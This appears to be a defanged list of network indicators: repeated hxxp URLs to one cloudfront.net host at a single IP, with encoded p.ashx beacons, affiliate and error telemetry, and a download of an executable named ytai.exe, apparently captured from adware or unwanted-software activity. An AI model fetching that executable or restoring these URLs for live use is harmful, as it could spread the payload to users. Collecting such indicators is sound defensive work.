hxxp://d2otsfra4otprh.cloudfront.net/p.ashx?e=XJYuqQQo69d2lr6SLgmZcsxndPpeZYzTOH0Gtx4 rumMDmRWpWBZ0PxJo1EJGyYRPKewvcYQT1NQmkxt0V5akyzer71seELEwJZh5R5miz6iMnDtfyAskYOvraEh9LgqxIIWpTPES4rmkEK3qBiKqmOb oG5zKnmCLVZfhb AizVAezdf3aKUTz0zfD6NQ4eEwAaRG2pHiUPesst1ukiDjOJGv9qSLCFMXL1aGIyEdEE8XIWrh60PYXV1rPYBwrFqy2cd4qoQDl0oePvh0n93NexvF9Z3oAvVYgO0yHAHEtyL/BUHI2zSk5F6pz0Kicuu7qt5SzSh3tN36Ip4IYgHiv5aB7SaJyfNCasEWnSMNQ=	54.192.47.221
hxxp://d2otsfra4otprh.cloudfront.net/p.ashx?e=XJYuqQQo69d2lr6SLgmZcsxndPpeZYzTOH0Gtx4 rumMDmRWpWBZ0PxJo1EJGyYRPKewvcYQT1NQmkxt0V5akyzer71seELEwJZh5R5miz6iMnDtfyAskYOvraEh9LgqxIIWpTPES4rmkEK3qBiKqmOb oG5zKnmCLVZfhb AizVAezdf3aKUfa HuGTRyAEFAL52sIXt4Ua8Zp/ 13YC87tt5DnIkTUi1f7P6QEzXxsw87geXZcc6iH7TcBEiX6xuC523JvYYdSkkpIJMyTNdApcSbF ajtWckiMiVYfJeK7a1soWlgbXd/rihenux9CEt 0AWK ljWYr /KlhbGpujKXoNZr7xzTD/J2qNxbsf2BomkYiMTg==	54.192.47.221
hxxp://d2otsfra4otprh.cloudfront.net/p.ashx?e=XJYuqQQo69d2lr6SLgmZcsxndPpeZYzTOH0Gtx4 rumMDmRWpWBZ0PxJo1EJGyYRPKewvcYQT1NQmkxt0V5akyzer71seELEwJZh5R5miz6iMnDtfyAskYOvraEh9LgqxIIWpTPES4rmkEK3qBiKqmOb oG5zKnmCLVZfhb AizVAezdf3aKUVDwWd9hvLDxFAL52sIXt4W2YWUR1tLs3D3ZLnbsoZ9zjPDFOy mdVxc7JTfzqJuQ2xNoUmVdbK77K3bmITDI9uOy dZOY5uM7AQhJgQ701L5HhsLbx0/gqzVkJplblMkMHrkZhAPMQ8XWaVP37vHu Ri5l77H9V8w==	54.192.47.221
hxxp://d2otsfra4otprh.cloudfront.net/p.ashx?e=XJYuqQQo69d2lr6SLgmZcsxndPpeZYzTOH0Gtx4 rumMDmRWpWBZ0PxJo1EJGyYRPKewvcYQT1NQmkxt0V5akyzer71seELEwJZh5R5miz6iMnDtfyAskYOvraEh9LgqxIIWpTPES4rmkEK3qBiKqmOb oG5zKnmCLVZfhb AizVAezdf3aKUanmGGYVS7/B0JQd5HxgIXcchUPaSyVwwPCqh8CqOQ5D94khRQjb0om5r9iFtppC1uEsoMnuAcfjiugW2mv9tjm0wz0U6I70ghzFcuANGYcs0ff1n8lANJQs3q 9bHhCxMCWYeUeZos ojJw7X8gLJH2TeXLTuOgAg==	54.192.47.221
hxxp://d2otsfra4otprh.cloudfront.net/p.ashx?e=XJYuqQQo69d2lr6SLgmZcsxndPpeZYzTOH0Gtx4 rumMDmRWpWBZ0PxJo1EJGyYRPKewvcYQT1NQmkxt0V5akyzer71seELEwJZh5R5miz6iMnDtfyAskYOvraEh9LgqxIIWpTPES4rmkEK3qBiKqmOb oG5zKnmCLVZfhb AizVAezdf3aKUQ5Mtw6p9U5dKYX3Ti/i3YOb87aptZLNDMXmaVWxukFWZ1qa tRBmxIEmumfnn3eLsmQ gNabH9smt1LIHE9GmAQ VwoE0aIX/TbXnzkx FKQqJD7ADy7miQiu5D5FEGqDVXbQPyTchD5RUOsZwXvURwCLbVB4E8DQ==	54.192.47.221
hxxp://d2otsfra4otprh.cloudfront.net/ytai.exe	54.192.47.221
hxxp://d2otsfra4otprh.cloudfront.net/p.ashx?e=XJYuqQQo69d2lr6SLgmZcsxndPpeZYzTOH0Gtx4 rumMDmRWpWBZ0PxJo1EJGyYRPKewvcYQT1NQmkxt0V5akyzer71seELEwJZh5R5miz6iMnDtfyAskYOvraEh9LgqxIIWpTPES4rmkEK3qBiKqmOb oG5zKnmCLVZfhb AizVAezdf3aKUZKvgNPDm5dkjgb6v7cXpPth71QQSR2eRtjP1QedMB/cy/B6ujnJrtI0fJ30mPWB3MJ9BqBjylb5Pk55LBQN29qsSLi3xPUDrg3COASNyEO1YcI/DbFTcDZCM6pyXYGFWeKsTpSfL1xwXNTcqOvx0cY=	54.192.47.221
hxxp://d2otsfra4otprh.cloudfront.net/p.ashx?e=XJYuqQQo69d2lr6SLgmZcsxndPpeZYzTOH0Gtx4 rumMDmRWpWBZ0PxJo1EJGyYRPKewvcYQT1NQmkxt0V5akyzer71seELEwJZh5R5miz6iMnDtfyAskYOvraEh9LgqxIIWpTPES4rmkEK3qBiKqmOb oG5zKnmCLVZfhb AizVAezdf3aKUQeEuJy eF9fKYX3Ti/i3YMyquPELD4STKsyuDjWX8vLsJJPlhy2jdwTqcwBDTHruXFWs3G3PXIRldmt6Vgk8tTDFB7LhwruKyp6PBp7Xg0f V5qlTU3hlahSKWIW47BnYGWLdl3bKnnx61URcKXv40=	54.192.47.221
hxxp://d2otsfra4otprh.cloudfront.net/p.ashx?e=XJYuqQQo69d2lr6SLgmZcsxndPpeZYzTOH0Gtx4 rumMDmRWpWBZ0PxJo1EJGyYRPKewvcYQT1NQmkxt0V5akyzer71seELEwJZh5R5miz6iMnDtfyAskYOvraEh9LgqxIIWpTPES4rmkEK3qBiKqmOb oG5zKnmCLVZfhb AizVAezdf3aKUc xh4nuC6oveZAqHIGghM2z4gguKWlYXUHDmr9X7yCJxU6CcRl6aJOzKeWuSSi2PEdbn48/f7FAIqmILLy1PUiqyoEpCY0yDBlIvAVSj/Lf69nxSUTmRB7QrSyNo58RbUHT3bHMaZ3H2Md8ezDyarteKCQslftcEYXtB7b nmF4GckqLB1u96PHJC LVSJKV6syuDjWX8vLsJJPlhy2jdwTqcwBDTHruXFWs3G3PXIRldmt6Vgk8tTDFB7LhwruKyp6PBp7Xg0f V5qlTU3hlahSKWIW47BnYGWLdl3bKnnx61URcKXv40=	54.192.47.221
hxxp://d2otsfra4otprh.cloudfront.net/p.ashx?e=XJYuqQQo69d2lr6SLgmZcsxndPpeZYzTOH0Gtx4 rumMDmRWpWBZ0PxJo1EJGyYRPKewvcYQT1NQmkxt0V5akyzer71seELEwJZh5R5miz6iMnDtfyAskYOvraEh9LgqxIIWpTPES4rmkEK3qBiKqmOb oG5zKnmCLVZfhb AizVAezdf3aKUav9x4TEPS62BPEhRyyBD7DR614fwrEG1qQdf661A7a3sYns0spGP2fYz9UHnTAf3Mvwero5ya7SNHyd9Jj1gdzCfQagY8pW T5OeSwUDdvarEi4t8T1A64NwjgEjchDtWHCPw2xU3A2QjOqcl2BhVnirE6Uny9ccFzU3Kjr8dHG	54.192.47.221
hxxp://d2otsfra4otprh.cloudfront.net/p.ashx?e=XJYuqQQo69d2lr6SLgmZcsxndPpeZYzTOH0Gtx4 rumMDmRWpWBZ0PxJo1EJGyYRPKewvcYQT1NQmkxt0V5akyzer71seELEwJZh5R5miz6iMnDtfyAskYOvraEh9LgqxIIWpTPES4rmkEK3qBiKqmOb oG5zKnmCLVZfhb AizVAezdf3aKUQo1JeSgT 5XmlmKz1/6dN13JLgG5QML1bdfZ/rXose/qzK4ONZfy8uwkk WHLaN3BOpzAENMeu5cVazcbc9chGV2a3pWCTy1MMUHsuHCu4rKno8GnteDR/5XmqVNTeGVqFIpYhbjsGdgZYt2XdsqefHrVRFwpe/jQ==	54.192.47.221
hxxp://d2otsfra4otprh.cloudfront.net/p.ashx?e=XJYuqQQo69d2lr6SLgmZcsxndPpeZYzTOH0Gtx4 rumMDmRWpWBZ0PxJo1EJGyYRPKewvcYQT1NQmkxt0V5akyzer71seELEwJZh5R5miz6iMnDtfyAskYOvraEh9LgqxIIWpTPES4rmkEK3qBiKqmOb oG5zKnmCLVZfhb AizVAezdf3aKUQ2yDM6d7piii11NaYYxcNku1SXIq07tJg ABjx4/MVnPaT JG0G pNnWpr61EGbEgSa6Z efd4uyZD6A1psf2ya3UsgcT0aYBD5XCgTRohf9NtefOTH4UpCokPsAPLuaJCK7kPkUQaoNVdtA/JNyEPlFQ6xnBe9RHAIttUHgTwN	54.192.47.221
hxxp://d2otsfra4otprh.cloudfront.net/p.ashx?e=XJYuqQQo69d2lr6SLgmZcsxndPpeZYzTOH0Gtx4 rumMDmRWpWBZ0PxJo1EJGyYRPKewvcYQT1NQmkxt0V5akyzer71seELEwJZh5R5miz6iMnDtfyAskYOvraEh9LgqxIIWpTPES4rmkEK3qBiKqmOb oG5zKnmCLVZfhb AizVAezdf3aKUQo1JeSgT 5XmlmKz1/6dN2FyR4Q2YBo2R0chbtaLrix94khRQjb0om5r9iFtppC1uEsoMnuAcfjiugW2mv9tjm0wz0U6I70ghzFcuANGYcs0ff1n8lANJQs3q 9bHhCxMCWYeUeZos ojJw7X8gLJH2TeXLTuOgAg==	54.192.47.221
hxxp://d2otsfra4otprh.cloudfront.net/p.ashx?e=b1dRW7RxYKdJjQ9qCj/Wvb1yLlvxP1mXJOu5 HUVZsT8ln8Iap23/32Fnk7oJCBmfl0yK7ww8bRT HVRdEeWb5CK7kPkUQaoNVdtA/JNyEPlFQ6xnBe9RHnWDkJAOjHwSOrYhj46XfQLNL0WD0u6ZtibwvUuW8P1Lzo9K2u FFEbGtOpbXm9kB1gsLoXCDzZ0JQd5HxgIXe2kHzAFrfmG0bgqzDLDp402M/VB50wH9zL8Hq6Ocmu0jR8nfSY9YHcwn0GoGPKVvk TnksFA3b2qxIuLfE9QOuDcI4BI3IQ7Vhwj8NsVNwNkIzqnJdgYVZ4qxOlJ8vXHBc1Nyo6/HRxg==	54.192.47.221
hxxp://d2otsfra4otprh.cloudfront.net/p.ashx?e=xY8ohDYpM h6gEVzoYeGJ8xndPpeZYzTvzzMobpRZVeMDmRWpWBZ0PxJo1EJGyYRPKewvcYQT1NQmkxt0V5akyzer71seELEwJZh5R5miz6iMnDtfyAskYOvraEh9LgqxIIWpTPES4rmkEK3qBiKqmOb oG5zKnmCLVZfhb AiwYrkTZsU4Nhig98Kt9W9EmFAL52sIXt4VzPv64An3FhzYd0CRAC1t0Q6e3lj6TKF/Fe48U53GZBKsyuDjWX8vLsJJPlhy2jdwTqcwBDTHruXFWs3G3PXIRldmt6Vgk8tTDFB7LhwruKyp6PBp7Xg0f V5qlTU3hlahSKWIW47BnYGWLdl3bKnnx61URcKXv40=	54.192.47.221
hxxp://d2otsfra4otprh.cloudfront.net/p.ashx?e=PcwT4QFtuPCnIVMsUgdaKTEOJYAmH59Vsg7jyZ2P5QEQyol6Hp9Rdg0/niVdnGaSZ8I/ 0wMrWsNwjgEjchDtWHCPw2xU3A2QjOqcl2BhVnirE6Uny9ccHLG3fPX8 gFXS/G3EQZqX35gOZQe8Bii1iht5zCK3FwaJkIKvOmtNBWOvghCBTr/YNeFbKg7t0VKYX3Ti/i3YM8Lp0Bjzny5hsSwoep2eKuZ1qa tRBmxIEmumfnn3eLsmQ gNabH9smt1LIHE9GmAQ VwoE0aIX/TbXnzkx FKQqJD7ADy7miQiu5D5FEGqDVXbQPyTchD5RUOsZwXvURwCLbVB4E8DQ==	54.192.47.221
hxxp://d2otsfra4otprh.cloudfront.net/p.ashx?e=M/g8cQcNP LMZ3T6XmWM0wuAkJnNLI4yjA5kVqVgWdD8SaNRCRsmETynsL3GEE9TUJpMbdFeWpMs3q 9bHhCxMCWYeUeZos ojJw7X8gLJGDr62hIfS4KsSCFqUzxEuK5pBCt6gYiqpjm/qBucyp5gi1WX4W/gIsb GEwPiedNJBkBMfD9KDE9CUHeR8YCF3hBbJg8F3GAAXonzCxckjkxAYdGcPvoXoxuC523JvYYdSkkpIJMyTNdApcSbF ajtWckiMiVYfJeK7a1soWlgbXd/rihenux9CEt 0AWK ljWYr /KlhbGpujKXoNZr7xzTD/J2qNxbsf2BomkYiMTg==	54.192.47.221
hxxp://d2otsfra4otprh.cloudfront.net/p.ashx?e=M/g8cQcNP LMZ3T6XmWM0wuAkJnNLI4yjA5kVqVgWdD8SaNRCRsmETynsL3GEE9TUJpMbdFeWpMs3q 9bHhCxMCWYeUeZos ojJw7X8gLJGDr62hIfS4KsSCFqUzxEuK5pBCt6gYiqpjm/qBucyp5gi1WX4W/gIsb GEwPiedNJBkBMfD9KDE9CUHeR8YCF3OiJI4oW9ZGQJQ qRImiBrA2L3SUlT1mit19n teix7 rMrg41l/Ly7CST5Ycto3cE6nMAQ0x67lxVrNxtz1yEZXZrelYJPLUwxQey4cK7isqejwae14NH/leapU1N4ZWoUiliFuOwZ2Bli3Zd2yp58etVEXCl7 N	54.192.47.221
hxxp://d2otsfra4otprh.cloudfront.net/p.ashx?e=M/g8cQcNP LMZ3T6XmWM0wuAkJnNLI4yjA5kVqVgWdD8SaNRCRsmETynsL3GEE9TUJpMbdFeWpMs3q 9bHhCxMCWYeUeZos ojJw7X8gLJGDr62hIfS4KsSCFqUzxEuK5pBCt6gYiqpjm/qBucyp5gi1WX4W/gIsb GEwPiedNJBkBMfD9KDE9CUHeR8YCF3rrO8vgt3P/iIImX2R0lDpJK mciuyhYcJKjDaWYJX4fXFKX0xVfRz452ZI8yJZT8RKVPvduoSB0BaMDrns9A1tjP1QedMB/cy/B6ujnJrtI0fJ30mPWB3MJ9BqBjylb5Pk55LBQN29qsSLi3xPUDrg3COASNyEO1YcI/DbFTcDZCM6pyXYGFWeKsTpSfL1xwXNTcqOvx0cY=	54.192.47.221
hxxp://d2otsfra4otprh.cloudfront.net/p.ashx?prd=YTAi&aff=smtycl1_0_0_0_0,25383020-30f5-408f-b983-88ab51edfcbf,&ver=2.2.7764.475&rnd=29173&tss=4&action=ErrorData&actionparam=/v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v4ODg4ODg4ODg7r6 sODg4O/g4ODv7 6w4O6w4ODg4ODv7 /g79/f39/f339/f39/f39/f3 Pj4 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 xq QBsbGxsbGxsbt7e3t7e3t7cICAgIR0dHODg4ODg43d3d3d3d29vb29vb vr6GhoaGhoaGhomJiYmJiYmBAQEQEBAQEBAQCgoKCgoKCjc3Nzc3Nzc3DQ0NDQ0NDT7 /v7 /v79/f39/f39/f39vb29vb29vb29vb29vb2/v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v39/fj4 Pj4 Pj4 BISEhISEhISEvz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/PwSEhISEvj4 Pj4/f39/f39/v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v4ODg4ODg4ODg4ODg4O/v7 /v4ODv7 /v7 /v7 /v7 /v79/f399/f39/f39/j4 Pj4 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7Gs1AGxsbGxsbGxu3t7e3t7e3CAgICAhHODg4ODg4ON3d3d3d3d3b29vb2/r6 voaGhoaGhoaJiYmJiYmBAQEBEBAQEBAQEAoKCgoKCgo3Nzc3Nzc3DQ0NDQ0NDQ0 /v7 /v7 /f39/f39/f39vb29vb29vb29vb29vb29v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v79/f34 Pj4 Pj4 PgSEhISEhIS/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/BISEhIS Pj4 Pj9/f39/f3 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v4ODg4ODg4ODg4ODg7 /v7 /v7 /v7 /v7 /v7 /v729vb9/f399/f39/j4 Pj4 Pv7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /sZ/T8bGxsbGxsbt7e3t7e3twgICAhHR0c4ODg4ODg43d3d3d3d29vb29v6 vr6GhoaGhoaGiYmJiYmJiYmBARAQEBAQEAoKCgoKCgoKNzc3Nzc3DQ0NDQ0NDQ0 /v7 /v7 /v39/f39/f39/f29vb29vb29vb29vb29v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v79/f39/fj4 Pj4 Pj4EhISEhISEvz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8EhISEhIS Pj4 P39/f39/f7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v4ODg4ODg4ODg4ODv7 /v7 /v7 /v7 /v7 9vb29vb29v39/f339/f4 Pv4 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 xpaPxsbGxsbG7e3t7e3t7e3CAgIR0dHODg4ODg4ON3d3d3d3dvb29v6 vr6 hoaGhoaGiYmJiYmJiYmBAQEQEBAQEBAQCgoKCgoKNzc3Nzc3Nw0NDQ0NDQ0NPv7 /v7 /v79/f39/f39/f39vb29vb29vb29vb29vb /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /f39/f34 Pj4 Pj4 BISEhISEhL8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8EhISEhL4 Pg=&usid=2858020935-2156992550-3658131804&sid=0&pixGuid=25383020-30f5-408f-b983-88ab51edfcbf	54.192.47.221
hxxp://d2otsfra4otprh.cloudfront.net/p.ashx?e=M/g8cQcNP LMZ3T6XmWM0wuAkJnNLI4yjA5kVqVgWdD8SaNRCRsmETynsL3GEE9TUJpMbdFeWpMs3q 9bHhCxMCWYeUeZos ojJw7X8gLJGDr62hIfS4KsSCFqUzxEuK5pBCt6gYiqpjm/qBucyp5gi1WX4W/gIsb GEwPiedNJBkBMfD9KDE9CUHeR8YCF3TW/Bv3nfoo7P/3jBALe7zPjH8lx78ea5bLCBXnZHg3MFPgOpImHIzeY4MKoaVft0VQACmRxohL5RUkFpWYMHLbBDB4Sx2r5en9lhu9AC b5gB9HtNG/bj5MeXOgdgqiSRTdZ1 o4SMpRARGoQnkwfaZrww1kYG 6ni/66BYs1ldcoel0PIOM3sbgudtyb2GHUpJKSCTMkzXQKXEmxfmo7VnJIjIlWHyXiu2tbKFpYG13f64oXp7sfQhLftAFivpY1mK/vypYWxqboyl6DWa 8c0w/ydqjcW7H9gaJpGIjE4=	54.192.47.221
hxxp://d2otsfra4otprh.cloudfront.net/p.ashx?e=QgW8pN5r26avTpvRFjYpwr1yLlvxP1mX8f9/KvgcVLP8ln8Iap23/32Fnk7oJCBmfl0yK7ww8bRT HVRdEeWb5CK7kPkUQaoNVdtA/JNyEPlFQ6xnBe9RHnWDkJAOjHwSOrYhj46XfQLNL0WD0u6ZtibwvUuW8P15TOfRX20Ju/fV9OCtHXZfEzRFKQxWMw7KYX3Ti/i3YOgqpFoRMZSCYnEK43tqK5p2skB4aC3ESGdgElvBjDHB8P rxL ch GZ0xm6mhNmOwAWodnV1HIBQTxchauHrQ9hdXWs9gHCsWrLZx3iqhAOXSh4 HSf3c17G8X1negC9ViA7TIcAcS3Iv8FQcjbNKTkXqnPQqJy67uq3lLNKHe03foinghiAeK/loHtJonJ80JqwRadIw1A==	54.192.47.221
hxxp://d2otsfra4otprh.cloudfront.net/p.ashx?prd=YTAi&aff=smtycl1_0_0_0_0,25383020-30f5-408f-b983-88ab51edfcbf,&ver=2.2.7764.475&rnd=29173&tss=6&action=ErrorData&actionparam=/v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v4ODg4ODg4ODg7r6 sODg4O/g4ODv7 6w4O6w4ODg4ODv7 /g79/f39/f339/f39/f39/f3 Pj4 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 xq QBsbGxsbGxsbt7e3t7e3t7cICAgIR0dHODg4ODg43d3d3d3d29vb29vb vr6GhoaGhoaGhomJiYmJiYmBAQEQEBAQEBAQCgoKCgoKCjc3Nzc3Nzc3DQ0NDQ0NDT7 /v7 /v79/f39/f39/f39vb29vb29vb29vb29vb2/v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v39/fj4 Pj4 Pj4 BISEhISEhISEvz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/PwSEhISEvj4 Pj4/f39/f39/v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v4ODg4ODg4ODg4ODg4O/v7 /v4ODv7 /v7 /v7 /v7 /v79/f399/f39/f39/j4 Pj4 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7Gs1AGxsbGxsbGxu3t7e3t7e3CAgICAhHODg4ODg4ON3d3d3d3d3b29vb2/r6 voaGhoaGhoaJiYmJiYmBAQEBEBAQEBAQEAoKCgoKCgo3Nzc3Nzc3DQ0NDQ0NDQ0 /v7 /v7 /f39/f39/f39vb29vb29vb29vb29vb29v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v79/f34 Pj4 Pj4 PgSEhISEhIS/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/BISEhIS Pj4 Pj9/f39/f3 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v4ODg4ODg4ODg4ODg7 /v7 /v7 /v7 /v7 /v7 /v729vb9/f399/f39/j4 Pj4 Pv7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /sZ/T8bGxsbGxsbt7e3t7e3twgICAhHR0c4ODg4ODg43d3d3d3d29vb29v6 vr6GhoaGhoaGiYmJiYmJiYmBARAQEBAQEAoKCgoKCgoKNzc3Nzc3DQ0NDQ0NDQ0 /v7 /v7 /v39/f39/f39/f29vb29vb29vb29vb29v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v79/f39/fj4 Pj4 Pj4EhISEhISEvz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8EhISEhIS Pj4 P39/f39/f7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v4ODg4ODg4ODg4ODv7 /v7 /v7 /v7 /v7 9vb29vb29v39/f339/f4 Pv4 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 xpaPxsbGxsbG7e3t7e3t7e3CAgIR0dHODg4ODg4ON3d3d3d3dvb29v6 vr6 hoaGhoaGiYmJiYmJiYmBAQEQEBAQEBAQCgoKCgoKNzc3Nzc3Nw0NDQ0NDQ0NPv7 /v7 /v79/f39/f39/f39vb29vb29vb29vb29vb /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /f39/f34 Pj4 Pj4 BISEhISEhL8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8EhISEhL4 Pg=&usid=2858020935-2156992550-3658131804&sid=0&pixGuid=25383020-30f5-408f-b983-88ab51edfcbf	54.192.47.221
hxxp://d2otsfra4otprh.cloudfront.net/p.ashx?e=QgW8pN5r26avTpvRFjYpwr1yLlvxP1mX8f9/KvgcVLP8ln8Iap23/32Fnk7oJCBmfl0yK7ww8bRT HVRdEeWb5CK7kPkUQaoNVdtA/JNyEPlFQ6xnBe9RHnWDkJAOjHwSOrYhj46XfQLNL0WD0u6ZtibwvUuW8P15TOfRX20Ju/fV9OCtHXZfEzRFKQxWMw7KYX3Ti/i3YMSNngOvjpV1AJRbnguo3YM4m/vJXDvF2G8SrVcKYQhP8obAwxzSCek2ATGx5ZDOfYQeWksviRUhT/yaEvCJV7Ux96BOH62W9/QWfLnCrtHlV21uVlG5yFmVQHvOEGgpnl6Yl8u4twhyqubh8j4cVtCSWJgKs4pazP1e4SKwQJ4O04skJa/Fex64i7hnHdhdcduQ/fd4pcRUO5yQynRUZI5Y08jY48xBJp/zL9PNaMx/usrAPq35vVlvyaZN44kjrtu5SDMVthOPNpYikSqZzKjobnTOTnPHgwYpvDyFA3dDA==	54.192.47.221
hxxp://d2otsfra4otprh.cloudfront.net/p.ashx?e=QgW8pN5r26avTpvRFjYpwr1yLlvxP1mX8f9/KvgcVLP8ln8Iap23/32Fnk7oJCBmfl0yK7ww8bRT HVRdEeWb5CK7kPkUQaoNVdtA/JNyEPlFQ6xnBe9RHnWDkJAOjHwSOrYhj46XfQLNL0WD0u6ZtibwvUuW8P15TOfRX20Ju/fV9OCtHXZfEzRFKQxWMw7KYX3Ti/i3YMkVSCntIhzCZedLPIUyUClqXRCjGf3kymM8MU7L6Z1XFzslN/Oom5DbE2hSZV1srvsrduYhMMj247L51k5jm4zsBCEmBDvTUvkeGwtvHT CrNWQmmVuUyQweuRmEA8xDxdZpU/fu8e75GLmXvsf1Xz	54.192.47.221
hxxp://d2otsfra4otprh.cloudfront.net/p.ashx?e=QgW8pN5r26avTpvRFjYpwr1yLlvxP1mX8f9/KvgcVLP8ln8Iap23/32Fnk7oJCBmfl0yK7ww8bRT HVRdEeWb5CK7kPkUQaoNVdtA/JNyEPlFQ6xnBe9RHnWDkJAOjHwSOrYhj46XfQLNL0WD0u6ZtibwvUuW8P15TOfRX20Ju/fV9OCtHXZfEzRFKQxWMw7KYX3Ti/i3YNcWyV 43ZmuBoJKnjcECO vcpBmUnu1RPiLuGcd2F1x25D993ilxFQ7nJDKdFRkjljTyNjjzEEmn/Mv081ozH 6ysA rfm9WW/Jpk3jiSOu27lIMxW2E482liKRKpnMqOhudM5Oc8eDBim8PIUDd0M	54.192.47.221
